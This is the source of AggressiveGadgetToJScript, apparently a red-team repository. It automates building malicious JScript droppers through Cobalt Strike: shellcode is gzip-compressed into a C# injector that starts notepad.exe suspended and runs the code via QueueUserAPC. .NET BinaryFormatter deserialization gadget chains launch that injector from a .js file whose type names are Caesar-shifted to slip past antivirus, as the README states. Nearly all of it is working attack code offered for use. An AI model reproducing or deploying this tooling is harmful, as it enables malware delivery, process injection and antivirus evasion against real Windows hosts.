├── src ├── SurrogateSelector.cs ├── InternalCompiler.cs ├── DisableTypeCheckGadgetGenerator.cs ├── SurrogateGadgetGenerator.cs └── GadgetToJScript.cs ├── GadgetToJScript.cna ├── README.md ├── Helper.py ├── Templates ├── GadgetToJScript.js └── Injector.cs └── LICENSE /src/SurrogateSelector.cs: -------------------------------------------------------------------------------- 1 | // Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/_SurrogateSelector.cs 2 | using System; 3 | using System.Runtime.Serialization; 4 | 5 | namespace GadgetToJScript 6 | { 7 | class SurrogateSelector : System.Runtime.Serialization.SurrogateSelector 8 | { 9 | public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) 10 | { 11 | selector = this; 12 | 13 | if (!type.IsSerializable) 14 | { 15 | Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); 16 | return (ISerializationSurrogate)Activator.CreateInstance(t); 17 | } 18 | 19 | return base.GetSurrogate(type, context, out selector); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/InternalCompiler.cs: -------------------------------------------------------------------------------- 1 | //Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/TestAssemblyLoader.cs 2 | using Microsoft.CSharp; 3 | using System; 4 | using System.CodeDom.Compiler; 5 | using System.Reflection; 6 | using System.Text; 7 | 8 | namespace GadgetToJScript 9 | { 10 | class InternalCompiler 11 | { 12 | public static Assembly compile(string source) 13 | { 14 | CSharpCodeProvider provider = new CSharpCodeProvider(); 15 | CompilerParameters parameters = new CompilerParameters(); 16 | parameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll"); 17 | parameters.ReferencedAssemblies.Add("System.dll"); 18 | parameters.ReferencedAssemblies.Add("System.Core.dll"); 19 | parameters.ReferencedAssemblies.Add("System.IO.Compression.dll"); 20 | parameters.ReferencedAssemblies.Add("System.Management.dll"); 21 | CompilerResults results = provider.CompileAssemblyFromSource(parameters, source); 22 | 23 | if (results.Errors.HasErrors) 24 | { 25 | StringBuilder sb = new StringBuilder(); 26 | 27 | foreach (CompilerError error in results.Errors) 28 | { 29 | sb.AppendLine(string.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line)); 30 | } 31 | 32 | throw new InvalidOperationException(sb.ToString()); 33 | } 34 | 35 | Assembly compiled = results.CompiledAssembly; 36 | return compiled; 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /GadgetToJScript.cna: -------------------------------------------------------------------------------- 1 | $toolpath = ""; 2 | $outpath = ""; 3 | $python3 = ""; 4 | $gzip = ""; 5 | $mcs = ""; 6 | 7 | 8 | menubar("Custom Payloads", "custom_payloads"); 9 | 10 | popup custom_payloads { 11 | item "&GadgetToJScript" { 12 | GadgetToJScript(); 13 | } 14 | } 15 | 16 | sub GadgetToJScript { 17 | $dialog = dialog("GadgetToJScript Payload Generator", %(listener => "", payload_type => "Payload Type: ", output => "output: "), &GadgetToJScriptCallback); 18 | drow_listener_stage($dialog, "listener", "Listener: "); 19 | drow_combobox($dialog, "payload_type", "Payload Type: ", @("Staged", "Stageless")); 20 | drow_combobox($dialog, "architecture", "Architecture: ", @("x64", "x86")); 21 | dbutton_action($dialog, "Generate"); 22 | dialog_show($dialog); 23 | } 24 | 25 | sub GadgetToJScriptCallback { 26 | if ($3['listener'] eq "") { 27 | show_message("No listener specified!"); 28 | exit(); 29 | } 30 | 31 | println("\n\c8[!]\o Generating GadgetToJScript payload..."); 32 | println("[*] Type: " . $3['payload_type']); 33 | println("[*] Architecture: " . $3['architecture']); 34 | 35 | if ($3['payload_type'] eq "Staged") { 36 | $shellcode = stager($3['listener'], $3['architecture']); 37 | } 38 | 39 | else { 40 | $shellcode = artifact_payload($3['listener'], "raw", $3['architecture']); 41 | } 42 | 43 | mkdir($outpath); 44 | $shellcodefile = openf(">" . $outpath . "/GadgetToJScript.bin"); 45 | writeb($shellcodefile, $shellcode); 46 | closef($shellcodefile); 47 | $pythonprocess = exec($python3 . " " . $toolpath . "/" . "Helper.py " . $3['architecture'] . " " . $toolpath . " " . $outpath . " " . $gzip . " " . $mcs); 48 | @pythondata = readAll($pythonprocess); 49 | printAll(@pythondata); 50 | println(); 51 | } 52 | 53 | println("\n\c9[+]\o Loaded GadgetToJScript.cna!"); 54 | println("\c8[!]\o \$toolpath set to '\U$toolpath\U'"); 55 | println("\c8[!]\o \$outpath set to '\U$outpath\U'"); 56 | println("\c8[!]\o \$python3 set to '\U$python3\U'"); 57 | println("\c8[!]\o \$gzip set to '\U$gzip\U'"); 58 | println("\c8[!]\o \$mcs set to '\U$mcs\U'\n"); 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## AggressiveGadgetToJScript 2 | We created this aggressor script in order to automate the generation of payloads using the GadgetToJScript technique. 3 | 4 | For the purposes of this release, we used a common injector that implements the QueueUserAPC injection method and injects to notepad.exe. 5 | 6 | Feel free to use your own templates. 7 | 8 | Additionally, the shellcode generated is compressed before being used in the injector template. 9 | 10 | --- 11 | 12 | ### Usage 13 | * Install mono framework: `apt install mono-complete`. 14 | * Set the path variables inside `GadgetToJScript.cna`: 15 | * `$toolpath` is the absolute path of the installation directory. 16 | * `$outpath` is the directory used to output all generated artifacts. 17 | * `$python3` is the absolute path of python3 binary. 18 | * `$gzip` is the absolute path of gzip binary. 19 | * `$mcs` is the absolute path of mcs binary. 20 | * Load cna into CobaltStrike. 21 | * A new menu `CustomPayloads` will appear. Generate the payload choosing listener, staged / stageless, architecture. Payload will be stored in your defined `$outpath`. 22 | * Due to `ConfigurationManager.AppSettings` being readonly in Mono (https://github.com/mono/mono/issues/11751), we have to copy the generated EXE file into a windows box and execute it. 23 | * The final GadgetToJscript payload (.js) will be generated. Currently using the reg-free template from GadgetToJscript. 24 | 25 | ### Configuration: 26 | ``` 27 | $toolpath = "/opt/cobaltstrike/custom/AggressiveGadgetToJScript"; 28 | $outpath = "/tmp/payloads"; 29 | $python3 = "/usr/bin/python3"; 30 | $gzip = "/usr/bin/gzip"; 31 | $mcs = "/usr/bin/mcs"; 32 | ``` 33 | --- 34 | 35 | ### Caveats 36 | * Payload generated (.js) gets flagged by AV. Consider obfuscating `/Templates/GadgetToJScript.js`. As a PoC we opted using a powerful royal-like technique directly stolen from Caesar! 37 | * Shellcode can also be encrypted by placing an encrypt function in Helper.py and a decrypt function in `/Templates/Injector.cs` 38 | * Injection method can be replaced in `/Templates/Injector.cs`. Just make sure to place it in the constructor of the class. 39 | 40 | --- 41 | 42 | ### Authors 43 | 44 | * [@eksperience](https://github.com/eksperience) 45 | 46 | * [@leftp](https://github.com/leftp) 47 | 48 | --- 49 | 50 | ### Credits 51 | 52 | This tool is based on: 53 | 54 | * Original code of GadgetToJScript from @med0x2e - https://github.com/med0x2e/GadgetToJScript 55 | 56 | * Sample Injector used from @pwndizzle - https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs 57 | -------------------------------------------------------------------------------- /Helper.py: -------------------------------------------------------------------------------- 1 | try: 2 | from argparse import ArgumentParser 3 | from os import rename, stat 4 | from string import Template 5 | from subprocess import check_output, STDOUT 6 | from tempfile import TemporaryDirectory 7 | 8 | except ImportError as exception: 9 | print("{0}".format(exception)) 10 | exit(1) 11 | 12 | 13 | def compress(gzip, tmp): 14 | check_output([gzip, "{0}/GadgetToJScript.bin".format(tmp)]).decode("utf-8").strip() 15 | 16 | with open("{0}/GadgetToJScript.bin.gz".format(tmp), "rb") as gz: 17 | compressed_shellcode = bytes(gz.read()) 18 | 19 | return compressed_shellcode 20 | 21 | 22 | def build(shellcode, architecture, toolpath, outpath, mcspath, tmp): 23 | with open("{0}/Templates/Injector.cs".format(toolpath)) as template: 24 | cs_src = Template(template.read()) 25 | cs_sub = cs_src.substitute({"shellcode": ", ".join(hex(s) for s in shellcode)}) 26 | 27 | with open("{0}/Injector.cs".format(tmp), "w") as final: 28 | final.write(cs_sub) 29 | 30 | result = check_output([mcspath, "-platform:{0}".format(architecture), "-target:winexe", "-out:{0}/GadgetToJScript.exe".format(outpath), "-r:System.Data", "-r:System.Web", "-r:System.Configuration", "-resource:{0}/Injector.cs,SourceCode".format(tmp), "-resource:{0}/Templates/GadgetToJScript.js,Template".format(toolpath), "{0}/src/DisableTypeCheckGadgetGenerator.cs".format(toolpath), "{0}/src/GadgetToJScript.cs".format(toolpath), "{0}/src/InternalCompiler.cs".format(toolpath), "{0}/src/SurrogateGadgetGenerator.cs".format(toolpath), "{0}/src/SurrogateSelector.cs".format(toolpath)], stderr=STDOUT) 31 | 32 | if result: 33 | print(result) 34 | exit(1) 35 | 36 | print("[*] Saved at: {0}/GadgetToJScript.exe".format(outpath)) 37 | print("[!] Run the generated executable on a Windows host to produce the final .js payload") 38 | 39 | 40 | if __name__ == "__main__": 41 | parser = ArgumentParser() 42 | parser.add_argument("architecture", type=str) 43 | parser.add_argument("toolpath", type=str) 44 | parser.add_argument("outpath", type=str) 45 | parser.add_argument("gzpath", type=str) 46 | parser.add_argument("mcspath", type=str) 47 | args = parser.parse_args() 48 | 49 | tmp = TemporaryDirectory(prefix=args.outpath+"/") 50 | 51 | rename("{0}/GadgetToJScript.bin".format(args.outpath), "{0}/GadgetToJScript.bin".format(tmp.name)) 52 | print("[*] Initial shellcode size: {0} bytes".format(stat("{0}/GadgetToJScript.bin".format(tmp.name)).st_size)) 53 | 54 | compressed_shellcode = compress(args.gzpath, tmp.name) 55 | print("[*] Compressed shellcode size: {0} bytes".format(len(compressed_shellcode))) 56 | 57 | build(compressed_shellcode, args.architecture, args.toolpath, args.outpath, args.mcspath, tmp.name) 58 | 59 | -------------------------------------------------------------------------------- /src/DisableTypeCheckGadgetGenerator.cs: -------------------------------------------------------------------------------- 1 | //Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/_DisableTypeCheckGadgetGenerator.cs 2 | 3 | using System; 4 | using System.IO; 5 | using System.Runtime.Serialization; 6 | using System.Runtime.Serialization.Formatters.Binary; 7 | 8 | namespace GadgetToJScript 9 | { 10 | [Serializable] 11 | public class TextFormattingRunPropertiesMarshal : ISerializable 12 | { 13 | string xaml; 14 | 15 | public void GetObjectData(SerializationInfo info, StreamingContext context) 16 | { 17 | Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); 18 | info.SetType(t); 19 | info.AddValue("ForegroundBrush", xaml); 20 | } 21 | 22 | public TextFormattingRunPropertiesMarshal(string xaml) 23 | { 24 | this.xaml = xaml; 25 | } 26 | } 27 | 28 | class DisableTypeCheckGadgetGenerator 29 | { 30 | public MemoryStream generateGadget(MemoryStream ms) 31 | { 32 | string payload = @" 38 | 39 | 40 | System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 41 | 42 | 43 | 44 | 45 | disableActivitySurrogateSelectorTypeCheck 46 | 40 47 | 48 | 49 | 50 | 51 | 52 | true 53 | 54 | 55 | 56 | 57 | microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck 58 | true 59 | 60 | 61 | "; 62 | 63 | Object tfrpm = new TextFormattingRunPropertiesMarshal(payload); 64 | BinaryFormatter bf = new BinaryFormatter(); 65 | ms = new MemoryStream(); 66 | bf.Serialize(ms, tfrpm); 67 | return ms; 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /Templates/GadgetToJScript.js: -------------------------------------------------------------------------------- 1 | // Code modified from https://gist.github.com/EvanHahn/2587465 2 | var caesarShift = function (str, amount) { 3 | if (amount < 0) { 4 | return caesarShift(str, amount + 26); 5 | } 6 | 7 | var output = ""; 8 | 9 | for (var i = 0; i < str.length; i++) { 10 | var c = str[i]; 11 | var code = str.charCodeAt(i); 12 | 13 | if (code >= 65 && code <= 90) { 14 | c = String.fromCharCode(((code - 65 + amount) % 26) + 65); 15 | } else if (code < 65 || code >= 123) { 16 | c = String.fromCharCode(code); 17 | } else if (code >= 97 && code <= 122) { 18 | c = String.fromCharCode(((code - 97 + amount) % 26) + 97); 19 | } 20 | 21 | output += c; 22 | } 23 | 24 | return output; 25 | }; 26 | 27 | var manifestXML = ''+ 28 | ''+ 29 | ''+ 30 | ''+ 31 | ''; 32 | 33 | var actObj = new ActiveXObject(caesarShift("Yuodaearf.Iuzpaie.MofOfj", -12)); 34 | actObj.ManifestText = manifestXML; 35 | 36 | function Base64ToStream(b,l) { 37 | var enc = actObj.CreateObject(caesarShift("Ekefqy.Fqjf.MEOUUQzoapuzs", -12)); 38 | var length = enc.GetByteCount_2(b); 39 | var ba = enc.GetBytes_4(b); 40 | var transform = actObj.CreateObject(caesarShift("Ekefqy.Eqogdufk.Odkbfasdmbtk.RdayNmeq64Fdmzerady", -12)); 41 | ba = transform.TransformFinalBlock(ba, 0, length); 42 | var ms = actObj.CreateObject(caesarShift("Ekefqy.UA.YqyadkEfdqmy", -12)); 43 | ms.Write(ba, 0, l); 44 | ms.Position = 0; 45 | return ms; 46 | } 47 | 48 | var stage_1 = "%STAGE_1%"; 49 | var stage_2 = "%STAGE_2%"; 50 | 51 | try { 52 | var shell = new ActiveXObject('WScript.Shell'); 53 | ver = 'v4.0.30319'; 54 | 55 | try { 56 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\'); 57 | } catch(e) { 58 | ver = 'v2.0.50727'; 59 | } 60 | 61 | shell.Environment('Process')('COMPLUS_Version') = ver; 62 | var ms_1 = Base64ToStream(caesarShift(stage_1, -12), %SIZE_OF_STAGE_1%); 63 | var fmt_1 = actObj.CreateObject(caesarShift("Ekefqy.Dgzfuyq.Eqdumxulmfuaz.Radymffqde.Nuzmdk.NuzmdkRadymffqd", -12)); 64 | fmt_1.Deserialize_2(ms_1); 65 | } catch(e) { 66 | try { 67 | var ms_2 = Base64ToStream(caesarShift(stage_2, -12), %SIZE_OF_STAGE_2%); 68 | var fmt_2 = actObj.CreateObject(caesarShift("Ekefqy.Dgzfuyq.Eqdumxulmfuaz.Radymffqde.Nuzmdk.NuzmdkRadymffqd", -12)); 69 | fmt_2.Deserialize_2(ms_2); 70 | } catch(e2) {} 71 | } 72 | -------------------------------------------------------------------------------- /src/SurrogateGadgetGenerator.cs: -------------------------------------------------------------------------------- 1 | //Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/_ASurrogateGadgetGenerator.cs 2 | 3 | using System; 4 | using System.Collections; 5 | using System.Collections.Generic; 6 | using System.ComponentModel.Design; 7 | using System.Data; 8 | using System.IO; 9 | using System.Linq; 10 | using System.Reflection; 11 | using System.Runtime.Serialization; 12 | using System.Runtime.Serialization.Formatters.Binary; 13 | using System.Web.UI.WebControls; 14 | 15 | namespace GadgetToJScript 16 | { 17 | [Serializable] 18 | public class SurrogateGadgetGenerator : ISerializable 19 | { 20 | protected byte[] assemblyBytes; 21 | 22 | public SurrogateGadgetGenerator(Assembly assembly) 23 | { 24 | assemblyBytes = File.ReadAllBytes(assembly.Location); 25 | } 26 | 27 | public void GetObjectData(SerializationInfo info, StreamingContext context) 28 | { 29 | try 30 | { 31 | List bytes = new List { assemblyBytes }; 32 | var d1 = bytes.Select(Assembly.Load); 33 | Func> types = (Func>)Delegate.CreateDelegate(typeof(Func>), typeof(Assembly).GetMethod("GetTypes")); 34 | var d2 = d1.SelectMany(types); 35 | var d3 = d2.Select(Activator.CreateInstance); 36 | PagedDataSource pds = new PagedDataSource() { DataSource = d3 }; 37 | IDictionary dictionary = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); 38 | DesignerVerb dv = new DesignerVerb("", null); 39 | typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(dv, dictionary); 40 | List objects = new List(); 41 | objects.Add(d1); 42 | objects.Add(d2); 43 | objects.Add(d3); 44 | objects.Add(pds); 45 | objects.Add(dv); 46 | objects.Add(dictionary); 47 | Hashtable ht = new Hashtable(); 48 | ht.Add(dv, "v1"); 49 | ht.Add("p2", "v2"); 50 | FieldInfo fiBuckets = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); 51 | Array buckets = (Array)fiBuckets.GetValue(ht); 52 | FieldInfo fiKey = buckets.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); 53 | 54 | for (int i = 0; i < buckets.Length; ++i) 55 | { 56 | object bucket = buckets.GetValue(i); 57 | object key = fiKey.GetValue(bucket); 58 | 59 | if (key is string) 60 | { 61 | fiKey.SetValue(bucket, dv); 62 | buckets.SetValue(bucket, i); 63 | break; 64 | } 65 | } 66 | 67 | fiBuckets.SetValue(ht, buckets); 68 | objects.Add(ht); 69 | info.SetType(typeof(DataSet)); 70 | info.AddValue("DataSet.RemotingFormat", SerializationFormat.Binary); 71 | info.AddValue("DataSet.DataSetName", ""); 72 | info.AddValue("DataSet.Namespace", ""); 73 | info.AddValue("DataSet.Prefix", ""); 74 | info.AddValue("DataSet.CaseSensitive", false); 75 | info.AddValue("DataSet.LocaleLCID", 0x409); 76 | info.AddValue("DataSet.EnforceConstraints", false); 77 | info.AddValue("DataSet.ExtendedProperties", null); 78 | info.AddValue("DataSet.Tables.Count", 1); 79 | BinaryFormatter bf = new BinaryFormatter(); 80 | MemoryStream ms = new MemoryStream(); 81 | bf.SurrogateSelector = new SurrogateSelector(); 82 | bf.Serialize(ms, objects); 83 | info.AddValue("DataSet.Tables_0", ms.ToArray()); 84 | } 85 | 86 | catch (Exception) { } 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /src/GadgetToJScript.cs: -------------------------------------------------------------------------------- 1 | // GadgetToJscript. 2 | // Copyright (C) Elazaar / @med0x2e 2019 3 | // 4 | // GadgetToJscript is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by 5 | // the Free Software Foundation, either version 3 of the License, or (at your option) any later version. 6 | // 7 | // GadgetToJscript is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | // 10 | // You should have received a copy of the GNU General Public License 11 | // along with GadgetToJscript. If not, see . 12 | // 13 | // Based on GadgetToJscript https://github.com/med0x2e/GadgetToJScript and modified by @eksperience / @leftp 14 | 15 | using System; 16 | using System.Configuration; 17 | using System.Diagnostics; 18 | using System.IO; 19 | using System.Reflection; 20 | using System.Runtime.Serialization.Formatters.Binary; 21 | using System.Text; 22 | 23 | namespace GadgetToJScript 24 | { 25 | class GadgetToJScript 26 | { 27 | public static string CaesarShift(string inputString, int shiftPattern) 28 | { 29 | StringBuilder sb = new StringBuilder(); 30 | foreach (char letter in inputString) 31 | { 32 | int encryptedValue = 0; 33 | if ((letter) >= 65 && (letter) <=90) 34 | { 35 | encryptedValue = (((letter - 'A') + shiftPattern) % 26) + 'A'; 36 | } 37 | else if (letter < 65 || letter >= 123) 38 | { 39 | encryptedValue = letter; 40 | } 41 | else 42 | { 43 | encryptedValue = (((letter - 'a') + shiftPattern) % 26) + 'a'; 44 | } 45 | 46 | sb.Append((char)encryptedValue); 47 | } 48 | return sb.ToString(); 49 | } 50 | 51 | static void Main() 52 | { 53 | string source; 54 | string template; 55 | 56 | using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("SourceCode")) 57 | { 58 | using (StreamReader sr = new StreamReader(stream)) 59 | { 60 | source = sr.ReadToEnd(); 61 | } 62 | } 63 | 64 | using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Template")) 65 | { 66 | using (StreamReader sr = new StreamReader(stream)) 67 | { 68 | template = sr.ReadToEnd(); 69 | } 70 | } 71 | 72 | ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); 73 | DisableTypeCheckGadgetGenerator dtcgg = new DisableTypeCheckGadgetGenerator(); 74 | MemoryStream stageOne = dtcgg.generateGadget(new MemoryStream()); 75 | template = template.Replace("%STAGE_1%", CaesarShift(Convert.ToBase64String(stageOne.ToArray()),12)); 76 | template = template.Replace("%SIZE_OF_STAGE_1%", stageOne.Length.ToString()); 77 | Assembly assembly = InternalCompiler.compile(source); 78 | BinaryFormatter bf = new BinaryFormatter(); 79 | MemoryStream stageTwo = new MemoryStream(); 80 | SurrogateGadgetGenerator sgg = new SurrogateGadgetGenerator(assembly); 81 | bf.Serialize(stageTwo, sgg); 82 | template = template.Replace("%STAGE_2%", CaesarShift(Convert.ToBase64String(stageTwo.ToArray()),12)); 83 | template = template.Replace("%SIZE_OF_STAGE_2%", stageTwo.Length.ToString()); 84 | File.WriteAllText(Path.Combine(Directory.GetCurrentDirectory(), Process.GetCurrentProcess().ProcessName + ".js"), template); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /Templates/Injector.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * https://raw.githubusercontent.com/pwndizzle/c-sharp-memory-injection/master/apc-injection-new-process.cs 3 | * Original code created by Casey Smith - https://gist.github.com/subTee/a8d86ee9b9792dac0f0f4b021f2763c1 4 | * 5 | * Modified and commented by @pwndizzle & @eksperience 6 | */ 7 | 8 | using System.Diagnostics; 9 | using System.IO.Compression; 10 | using System.IO; 11 | using System.Reflection; 12 | using System.Runtime.InteropServices; 13 | using System; 14 | 15 | public class ApcInjectionNewProcess 16 | { 17 | private static byte[] Decompress(byte[] compressed) 18 | { 19 | using (GZipStream stream = new GZipStream(new MemoryStream(compressed), CompressionMode.Decompress)) 20 | { 21 | const int size = 4096; 22 | byte[] buffer = new byte[size]; 23 | 24 | using (MemoryStream ms = new MemoryStream()) 25 | { 26 | int count = 0; 27 | 28 | do 29 | { 30 | count = stream.Read(buffer, 0, size); 31 | 32 | if (count > 0) 33 | { 34 | ms.Write(buffer, 0, count); 35 | } 36 | } 37 | while (count > 0); 38 | 39 | return ms.ToArray(); 40 | } 41 | } 42 | } 43 | 44 | public ApcInjectionNewProcess() 45 | { 46 | // Placeholder for the actual shellcode byte array 47 | byte[] compressed_shellcode = new byte[] { ${shellcode} }; 48 | byte[] shellcode = Decompress(compressed_shellcode); 49 | 50 | // Target process to inject into 51 | string processpath = @"C:\Windows\notepad.exe"; 52 | STARTUPINFO si = new STARTUPINFO(); 53 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 54 | 55 | // Create new process in suspended state to inject into 56 | CreateProcess(processpath, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); 57 | 58 | // Allocate memory within process and write shellcode 59 | IntPtr address = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_READWRITE); 60 | IntPtr bytesWritten = IntPtr.Zero; 61 | WriteProcessMemory(pi.hProcess, address, shellcode, shellcode.Length, out bytesWritten); 62 | 63 | // Modify memory permissions on allocated shellcode 64 | uint oldProtect = 0; 65 | VirtualProtectEx(pi.hProcess, address, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); 66 | 67 | // Open thread 68 | IntPtr thread = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); 69 | 70 | // Assign address of shellcode to the target thread apc queue 71 | QueueUserAPC(address, thread, IntPtr.Zero); 72 | 73 | // Resume the suspended thread 74 | ResumeThread(pi.hThread); 75 | } 76 | 77 | private static UInt32 MEM_COMMIT = 0x1000; 78 | private static UInt32 PAGE_READWRITE = 0x04; 79 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 80 | 81 | public struct STARTUPINFO 82 | { 83 | public uint cb; 84 | public string lpReserved; 85 | public string lpDesktop; 86 | public string lpTitle; 87 | public uint dwX; 88 | public uint dwY; 89 | public uint dwXSize; 90 | public uint dwYSize; 91 | public uint dwXCountChars; 92 | public uint dwYCountChars; 93 | public uint dwFillAttribute; 94 | public uint dwFlags; 95 | public short wShowWindow; 96 | public short cbReserved2; 97 | public IntPtr lpReserved2; 98 | public IntPtr hStdInput; 99 | public IntPtr hStdOutput; 100 | public IntPtr hStdError; 101 | } 102 | 103 | public struct PROCESS_INFORMATION 104 | { 105 | public IntPtr hProcess; 106 | public IntPtr hThread; 107 | public uint dwProcessId; 108 | public uint dwThreadId; 109 | } 110 | 111 | [Flags] 112 | public enum ProcessCreationFlags : uint 113 | { 114 | ZERO_FLAG = 0x00000000, 115 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000, 116 | CREATE_DEFAULT_ERROR_MODE = 0x04000000, 117 | CREATE_NEW_CONSOLE = 0x00000010, 118 | CREATE_NEW_PROCESS_GROUP = 0x00000200, 119 | CREATE_NO_WINDOW = 0x08000000, 120 | CREATE_PROTECTED_PROCESS = 0x00040000, 121 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, 122 | CREATE_SEPARATE_WOW_VDM = 0x00001000, 123 | CREATE_SHARED_WOW_VDM = 0x00001000, 124 | CREATE_SUSPENDED = 0x00000004, 125 | CREATE_UNICODE_ENVIRONMENT = 0x00000400, 126 | DEBUG_ONLY_THIS_PROCESS = 0x00000002, 127 | DEBUG_PROCESS = 0x00000001, 128 | DETACHED_PROCESS = 0x00000008, 129 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000, 130 | INHERIT_PARENT_AFFINITY = 0x00010000 131 | } 132 | 133 | [Flags] 134 | public enum ThreadAccess : int 135 | { 136 | TERMINATE = 0x0001, 137 | SUSPEND_RESUME = 0x0002, 138 | GET_CONTEXT = 0x0008, 139 | SET_CONTEXT = 0x0010, 140 | SET_INFORMATION = 0x0020, 141 | QUERY_INFORMATION = 0x0040, 142 | SET_THREAD_TOKEN = 0x0080, 143 | IMPERSONATE = 0x0100, 144 | DIRECT_IMPERSONATION = 0x0200 145 | } 146 | 147 | [DllImport("kernel32.dll")] 148 | private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 149 | 150 | [DllImport("kernel32.dll")] 151 | private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); 152 | 153 | [DllImport("kernel32.dll")] 154 | private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); 155 | 156 | [DllImport("kernel32.dll")] 157 | private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); 158 | 159 | [DllImport("kernel32.dll")] 160 | private static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); 161 | 162 | [DllImport("kernel32.dll")] 163 | private static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 164 | 165 | [DllImport("kernel32.dll")] 166 | private static extern uint ResumeThread(IntPtr hThread); 167 | } 168 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED 